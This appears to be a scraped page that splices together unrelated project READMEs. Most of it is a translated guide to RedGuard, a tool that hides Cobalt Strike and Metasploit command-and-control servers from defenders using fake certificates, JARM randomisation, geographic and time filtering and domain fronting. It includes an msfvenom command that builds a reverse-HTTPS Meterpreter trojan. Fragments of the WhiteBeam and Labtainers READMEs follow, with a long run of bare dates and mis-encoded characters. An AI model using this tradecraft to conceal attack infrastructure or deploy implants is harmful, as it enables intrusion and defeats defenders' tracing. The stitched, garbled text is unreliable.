The SSL certificate used in the traffic interaction will be generated in the cert-rsa/ directory under the directory where RedGuard is executed. You can start and stop the basic functions of the tool by modifying the configuration file (the serial number of the certificate is generated according to the timestamp , don't worry about being associated with this feature).If you want to use your own certificate,Just rename them to ca.crt and ca.key.
openssl x509 -in ca.crt -noout -text
Random TLS JARM fingerprints are updated each time RedGuard is started to prevent this from being used to authenticate C2 facilities.
In the case of using your own certificate, modify the HasCert parameter in the configuration file to true to prevent normal communication problems caused by the incompatibility of the CipherSuites encryption suite with the custom certificate caused by the randomization of JARM confusion.
# Whether to use the certificate you have applied for true/false
HasCert = false
root@VM-4-13-ubuntu:~# ./RedGuard -h
Usage of ./RedGuard:
-DropAction string
RedGuard interception action (default "redirect")
-EdgeHost string
Set Edge Host Communication Domain (default "*")
-EdgeTarget string
Set Edge Host Proxy Target (default "*")
-HasCert string
Whether to use the certificate you have applied for (default "true")
-allowIP string
Proxy Requests Allow IP (default "*")
-allowLocation string
Proxy Requests Allow Location (default "*")
-allowTime string
Proxy Requests Allow Time (default "*")
-common string
Cert CommonName (default "*.aliyun.com")
-config string
Set Config Path
-country string
Cert Country (default "CN")
-dns string
Cert DNSName
-host string
Set Proxy HostTarget
-http string
Set Proxy HTTP Port ( default ":80")
-https string
Set Proxy HTTPS Port (default ":443")
-ip string
IPLookUP IP
-locality string
Cert Locality (default "HangZhou")
-location string
IPLookUP Location (default "้ฃ่ตท")
-malleable string
Set Proxy Requests Filter Malleable File (default "*")
-organization string
Cert Organization (default "Alibaba (China) Technology Co., Ltd.")
-redirect string
Proxy redirect URL (default "https://360.net")
-type string
C2 Server Type (default "CobaltStrike")
-u Enable configuration file modification
**P.S. You can use the parameter command to modify the configuration file. Of course, I think it may be more convenient to modify it manually with vim. **
If you directly access the port of the reverse proxy, the interception rule will be triggered. Here you can see the root directory of the client request through the output log, but because the request process does not carry the requested credentials, that is, the correct HOST request header So the basic interception rule is triggered, and the traffic is redirected to https://360.net
Here, in order to facilitate the display of the output effect, the actual use can be run in the background through nohup ./RedGuard &
.
{"360.net":"http://127.0.0.1:8080","360.com":"https://127.0.0.1:4433"}
It is not difficult to see from the above slice that 360.net corresponds to the proxy to the local port 8080, 360.com points to the local port 4433, and corresponds to the difference in the HTTP protocol used. In the subsequent online, you need to pay attention to the protocol of the listener. The type needs to be consistent with the one set here, and set the corresponding HOST request header.
As shown in the figure above, in the case of unauthorized access, the response information we get is also the return information of the redirected site.
In the above basic interception case, the default interception method is used, that is, the illegal traffic is intercepted by redirection. By modifying the configuration file, we can change the interception method and the redirected site URL. In fact, this The other way is a redirect, which might be more aptly described as hijacking, cloning, since the response status code returned is 200, and the response is taken from another website to mimic the cloned/hijacked website as closely as possible.
Invalid packets can be misrouted according to three strategies:
# RedGuard interception action: redirect / rest / proxy (Hijack HTTP Response)
drop_action = proxy
# URL to redirect to
Redirect = https://360.net
Redirect = URL in the configuration file points to the hijacked URL address. RedGuard supports "hot change", which means that while the tool is running in the background through nohup, we can still modify the configuration file. The content is started and stopped in real time.
./RedGuard -u --drop true
Note that when modifying the configuration file through the command line. The -u option should not be too small, otherwise the configuration file cannot be modified successfully. If you need to restore the default configuration file settings, you only need to enter ./RedGuard -u
.
Another interception method is DROP, which directly closes the HTTP communication response and is enabled by setting DROP = true. The specific interception effect is as follows:
It can be seen that the C2 pre-flow control directly responds to illegal requests without the HTTP response code. In the detection of cyberspace mapping, the DROP method can achieve the function of hiding the opening of ports. The specific effect can be seen in the following case. analyze.
In fact, it is easy to understand here. The configuration of the following two parameters in the configuration file realizes the effect of changing the reverse proxy port. It is recommended to use the default port on the premise of not conflicting with the current server port. If it must be modified, then pay attention to the : of the parameter value not to be missing
# HTTPS Reverse proxy port
Port_HTTPS = :443
# HTTP Reverse proxy port
Port_HTTP = :80
The blue team tracing behavior is analyzed through the interception log of the target request, which can be used to track peer connection events/problems. The log file is generated in the directory where RedGuard is running, file name: RedGuard.log.
ย
This section describes how to configure RG to obtain the real IP address of a request. You only need to add the following configuration to the profile of the C2 device, that is, to obtain the real IP address of the target through the request header X-Forwarded-For.
http-config {
set trust_x_forwarded_for "true";
}
The configuration method takes AllowLocation = Jinan, Beijing as an example. It is worth noting here that RedGuard provides two APIs for IP attribution anti-check, one for domestic users and the other for overseas users. Dynamically assign which API to use. If the target is in China, enter Chinese for the set region. Otherwise, enter English place names. It is recommended that domestic users use Chinese names. In this way, the accuracy of the attribution found and the response speed of the API are both is the best choice.
P.S. Domestic users, do not use AllowLocation = Jinan,beijing this way! It doesn't make much sense, the first character of the parameter value determines which API to use!
# IP address owning restrictions example:AllowLocation = ๅฑฑไธ,ไธๆตท,ๆญๅท or shanghai,beijing
AllowLocation = *
ย
Before deciding to restrict the region, you can manually query the IP address by the following command.
./RedGuard --ip 111.14.218.206
./RedGuard --ip 111.14.218.206 --location shandong # Use overseas API to query
Here we set to allow only the Shandong region to go online
ย
Legit traffic:
ย
Illegal request area:
ย
Regarding the launch of geographical restrictions, it may be more practical in the current offensive and defensive drills. Basically, the targets of provincial and municipal protection network restrictions are in designated areas, and the traffic requested by other areas can naturally be ignored, and the function of RedGuard is Not only can a single region be restricted, but multiple online regions can be restricted based on provinces and cities, and traffic requested by other regions can be intercepted.
In addition to the built-in blacklist of security vendor IPs in RedGuard, we can also restrict according to the whitelist. In fact, I also suggest that when doing web management, we can restrict the addresses of the online IPs according to the whitelist, so as to divide multiple IPs way of address.
# Whitelist list example: AllowIP = 172.16.1.1,192.168.1.1
AllowIP = 127.0.0.1
ย
As shown in the figure above, we only allow 127.0.0.1 to go online, then the request traffic of other IPs will be intercepted.
This function is more interesting. Setting the following parameter values in the configuration file means that the traffic control facility can only go online from 8:00 am to 9:00 pm. The specific application scenario here is that during the specified attack time, we allow communication with C2 Traffic interacts, and remains silent at other times. This also allows the red teams to get a good night's sleep without worrying about some blue team on the night shift being bored to analyze your Trojan and then wake up to something indescribable, hahaha.
# Limit the time of requests example: AllowTime = 8:00 - 16:00
AllowTime = 8:00 - 21๏ผ00
RedGuard uses the Malleable C2 profile. It then parses the provided malleable configuration file section to understand the contract and pass only those inbound requests that satisfy it, while misleading others. Parts such as http-stager
, http-get
and http-post
and their corresponding uris, headers, User-Agent etc. are used to distinguish legitimate beacon requests from irrelevant Internet noise or IR/AV/EDR Out-of-bounds packet.
# C2 Malleable File Path
MalleableFile = /root/cobaltstrike/Malleable.profile
The profile written by ้ฃ่ตท is recommended to use:
As shown in the figure below, when our interception rule is set to DROP, the spatial mapping system probe will probe the / directory of our reverse proxy port several times. In theory, the request packet sent by mapping is faked as normal traffic. Show. But after several attempts, because the characteristics of the request packet do not meet the release requirements of RedGuard, they are all responded by Close HTTP. The final effect displayed on the surveying and mapping platform is that the reverse proxy port is not open.
ย
The traffic shown in the figure below means that when the interception rule is set to Redirect, we will find that when the mapping probe receives a response, it will continue to scan our directory. UserAgent is random, which seems to be in line with normal traffic requests, but both successfully blocked.
Mapping Platform - Hijack Response Intercept Mode Effect:
Surveying and mapping platform - effect of redirection interception:
RedGuard supports Domain fronting. In my opinion, there are two forms of presentation. One is to use the traditional Domain fronting method, which can be achieved by setting the port of our reverse proxy in the site-wide acceleration back-to-source address. On the original basis, the function of traffic control is added to the domain fronting, and it can be redirected to the specified URL according to the setting we set to make it look more real. It should be noted that the RedGuard setting of the HTTPS HOST header must be consistent with the domain name of the site-wide acceleration.
In individual combat, I suggest that the above method can be used, and in team tasks, it can also be achieved by self-built "Domain fronting".
ย
In the self-built Domain fronting, keep multiple reverse proxy ports consistent, and the HOST header consistently points to the real C2 server listening port of the backend. In this way, our real C2 server can be well hidden, and the server of the reverse proxy can only open the proxy port by configuring the firewall.
This can be achieved through multiple node servers, and configure multiple IPs of our nodes in the CS listener HTTPS online IP.
RedGuard 22.08.03 updated the edge host online settings - custom intranet host interaction domain name, and the edge host uses the domain front CDN node interaction. The asymmetry of the information exchanged between the two hosts is achieved, making it more difficult to trace the source and make it difficult to check.
If there is a problem with the above method, the actual online C2 server cannot be directly intercepted by the firewall, because the actual load balancing request in the reverse proxy is made by the IP of the cloud server manufacturer.
If it is a single soldier, we can set an interception strategy on the cloud server firewall.
Then set the address pointed to by the proxy to https://127.0.0.1:4433.
{"360.net":"http://127.0.0.1:8080","360.com":"https://127.0.0.1:4433"}
And because our basic verification is based on the HTTP HOST request header, what we see in the HTTP traffic is also the same as the domain fronting method, but the cost is lower, and only one cloud server is needed.
ย
For the listener settings, the online port is set to the RedGuard reverse proxy port, and the listening port is the actual online port of the local machine.
Generates Trojan
$ msfvenom -p windows/meterpreter/reverse_https LHOST=vpsip LPORT=443 HttpHostHeader=360.com
-f exe -o ~/path/to/payload.exe
Of course, as a domain fronting scenario, you can also configure your LHOST to use any domain name of the manufacturer's CDN, and pay attention to setting the HttpHostHeader to match RedGuard.
setg OverrideLHOST 360.com
setg OverrideLPORT 443
setg OverrideRequestHost true
It is important to note that the OverrideRequestHost
setting must be set to true
. This is due to a quirk in the way Metasploit handles incoming HTTP/S requests by default when generating configuration for staging payloads. By default, Metasploit uses the incoming request's Host
header value (if present) for second-stage configuration instead of the LHOST
parameter. Therefore, the build stage is configured to send requests directly to your hidden domain name because CloudFront passes your internal domain in the Host
header of forwarded requests. This is clearly not what we are asking for. Using the OverrideRequestHost
configuration value, we can force Metasploit to ignore the incoming Host
header and instead use the LHOST
configuration value pointing to the origin CloudFront domain.
The listener is set to the actual line port that matches the address RedGuard actually forwards to.
ย
RedGuard received the request:
Thank you for your support. RedGuard will continue to improve and update it. I hope that RedGuard can be known to more security practitioners. The tool refers to the design ideas of RedWarden.
**We welcome everyone to put forward your needs, RedGuard will continue to grow and improve in these needs! **
About the developer ้ฃ่ตท related articles:https://www.anquanke.com/member.html?memberId=148652
2022Kcon Author of the weapon spectrum of the hacker conference
The 10th ISC Internet Security Conference Advanced Offensive and Defense Forum "C2 Front Flow Control" topic
Analysis of cloud sandbox flow identification technology
https://www.anquanke.com/post/id/277431
Realization of JARM Fingerprint Randomization Technology
Kunyu: https://github.com/knownsec/Kunyu
้ฃ่ตทไบ้่ไนๆซ๏ผๆตชๆไบๅพฎๆพไน้ดใ
If you have any questions or requirements, you can submit an issue under the project, or contact the tool author by adding WeChat.
Transparent endpoint security
Distro-specific packages have not been released yet for WhiteBeam, check again soon!
./whitebeam-installer install
cargo run test
cargo run build
cargo run install
sudo su
/su root
)whitebeam --auth
to make changes to the system: whitebeam --setting RecoverySecret mask
Multiple guides are provided depending on your preference. Contact us so we can help you integrate WhiteBeam with your environment.
sudo su
/su root
)whitebeam --baseline
whitebeam --setting Prevention true
Labtainers include more than 50 cyber lab exercises and tools to build your own. Import a single VM appliance or install on a Linux system and your students are done with provisioning and administrative setup, for these and future lab exercises.
Labtainers provide controlled and consistent execution environments in which students perform labs entirely within the confines of their computer, regardless of the Linux distribution and packages installed on the student's computer. Labtainers run on our [VM appliance][vm-appliancee], or on any Linux with Dockers installed. And Labtainers is available as cloud-based VMs, e.g., on Azure as described in the Student Guide.
See the Student Guide for installation and use, and the Instructor Guide for student assessment. Developing and customizing lab exercises is described in the Designer Guide. See the Papers for additional information about the framework. The Labtainers website, and downloads (including VM appliances with Labtainers pre-installed) are at https://nps.edu/web/c3o/labtainers.
Distribution created: 03/25/2022 09:37
Revision: v1.3.7c
Commit: 626ea075
Branch: master
Please see the licensing and distribution information in the docs/license.md file.
scripts/labtainers-student -- the work directory for running and testing student labs. You must be in that directory to run student labs.
scripts/labtainers-instructor -- the work directory for running and testing automated assessment and viewing student results.
labs -- Files specific to each of the labs
setup_scripts -- scripts for installing Labtainers and Docker and updating Labtainers
docs -- latex source for the labdesigner.pdf, and other documentation.
UI -- Labtainers lab editor source code (Java).
headless-lite -- scripts for managing Docker Workstation and cloud instances of Labtainers (systems that do not have native X11 servers.)
scripts/designer -- Tools for building new labs and managing base Docker images.
config -- system-wide configuration settings (these are not the lab-specific configuration settings.
distrib -- distribution support scripts, e.g., for publishing labs to the Docker hub.
testsets -- Test procedures and expected results. (Per-lab drivers for SimLab are not distributed).
pkg-mirrors -- utility scripts for internal NPS package mirroring to reduce external package pulling during tests and distribution.
Use the GitHub issue reports, or email me at mfthomps@nps.edu
Also see https://my.nps.edu/web/c3o/support1
The standard Labtainers distribution does not include files required for development of new labs. For those, run ./update-designer.sh from the labtainer/trunk/setup_scripts directory.
The installation script and the update-designer.sh script set environment variables, so you may want to logout/login, or start a new bash shell before using Labtainers the first time.
March 23, 2022
March 2, 2022
February 23, 2022
February 15, 2022
January 24, 2022
January 19, 2022
January 3, 2022
November 23, 2021
October 22, 2021
September 30, 2021
September 29, 2021
September 17, 2021
September 14, 2021
August 3, 2021
July 19, 2021
July 5, 2021
July 1, 2021
June 10, 2021
May 25, 2021
May 5, 2021
April 28, 2021
April 13, 2021
April 9, 2021
April 7, 2021
March 23, 2021
March 19, 2021
March 12, 2021
March 11, 2021
March 10, 2021
March 8, 2021
March 5, 2021
February 26, 2021
February 18, 2021
February 14, 2021
February 11, 2021
February 4, 2021
January 19, 2021
December 21, 2020
December 4, 2020
December 1, 2020
October 13, 2020
September 26, 2020
September 17, 2020
August 28, 2020
August 12, 2020
August 6, 2020
July 28, 2020
July 21, 2020
June 15, 2020
May 21, 2020
April 9, 2020
April 7, 2020
March 13, 2020
February 26, 2020
February 18, 2020
February 14, 2020
February 11, 2020
February 6, 2020
February 3, 2020
January 27, 2020
January 14, 2020
October 9, 2019
October 8, 2019
September 30, 2019
September 20, 2019
September 5, 2019
August 30, 2019
August 29, 2019
July 11, 2019
June 6, 2019
May 23, 2019
May 8, 2019
May 2, 2019
March 9, 2019
February 22, 2019
January 7, 2019
January 27, 2019
December 29, 2018
December 5, 2018
November 14, 2018
November, 5, 2018
October 22, 2018
October 12, 2018
October 10, 2018
September 28, 2018
September 12, 2018
September 7, 2018
September 5, 2018
September 4, 2018
August 23, 2018
August 23, 2018
August 21, 2018
August 17, 2018
August 15, 2018
August 15, 2018
August 9, 2018
August 7, 2018
August 1, 2018
July 30, 2018
July 25, 2018
July 24, 2018
July 20, 2018
July 12, 2018
July 10, 2018
July 6, 2018
June 27, 2018
June 21, 2018
June 19, 2018
June 14, 2018
June 15, 2018
June 13, 2018
June 11, 2018
June 2, 2018
May 31, 2018
May 30, 2018
May 25, 2018
May 21, 2018
May 18, 2018
May 15, 2018
May 11, 2018
May 9, 2018
May 8, 2018
May 7, 2018
April 26, 2018
April 20, 2018
April 12, 2018
April 5, 2018
March 28, 2018
March 26, 2018
March 21, 2018
March 15, 2018
March 8, 2018
February 21, 2018
February 5, 2018
January 30, 2018
January 24, 2018